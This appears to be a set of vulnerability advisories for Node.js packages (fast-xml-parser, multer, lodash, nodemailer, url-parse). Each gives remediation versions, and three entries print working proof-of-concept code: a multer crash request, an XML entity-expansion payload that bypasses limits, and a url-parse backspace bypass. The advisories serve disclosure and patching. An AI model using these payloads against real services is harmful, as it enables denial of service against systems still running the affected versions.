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Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.

Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fast-xml-parser to version 5.5.6 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Incomplete Cleanup in the makeMiddleware() function in make-middleware.js. An attacker can cause resource exhaustion by sending malformed requests.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

References

• GitHub Commit
• Vendor Advisory

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the makeMiddleware() function, when dropping a connection during file upload. An attacker can cause resource exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

References

• GitHub Commit
• Vendor Advisory

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

References

• GitHub Commit
• OpenJS Advisories
• Red Hat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion. An attacker can cause the application to crash or become unresponsive by sending malformed requests that trigger uncontrolled recursion, potentially leading to a stack overflow.

Remediation

Upgrade multer to version 2.1.1 or higher.

References

• GitHub Commit

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

There is no fixed version for lodash.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• OpenJS Security Advisory

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.

Note:

This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Remediation

Upgrade fast-xml-parser to version 5.5.7 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Uncontrolled Recursion in the addressparser function. An attacker can cause the process to terminate immediately by sending an email address header containing deeply nested groups, separated by many :s.

Remediation

Upgrade nodemailer to version 7.0.11 or higher.

References

• GitHub Commit
• Red Hat Bugzilla Bug

Overview

url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.

Affected versions of this package are vulnerable to Improper Input Validation due to improper fix of CVE-2020-8124 , it is possible to be exploited via the \b (backspace) character.

PoC:

const parse = require('./index.js')

url = parse('\bhttp://google.com')

console.log(url)

Output:

{
  slashes: false,
  protocol: '',
  hash: '',
  query: '',
  pathname: '\bhttp://google.com',
  auth: '',
  host: '',
  port: '',
  hostname: '',
  password: '',
  username: '',
  origin: 'null',
  href: '\bhttp://google.com'
}

Remediation

Upgrade url-parse to version 1.5.9 or higher.

References

• GitHub Commit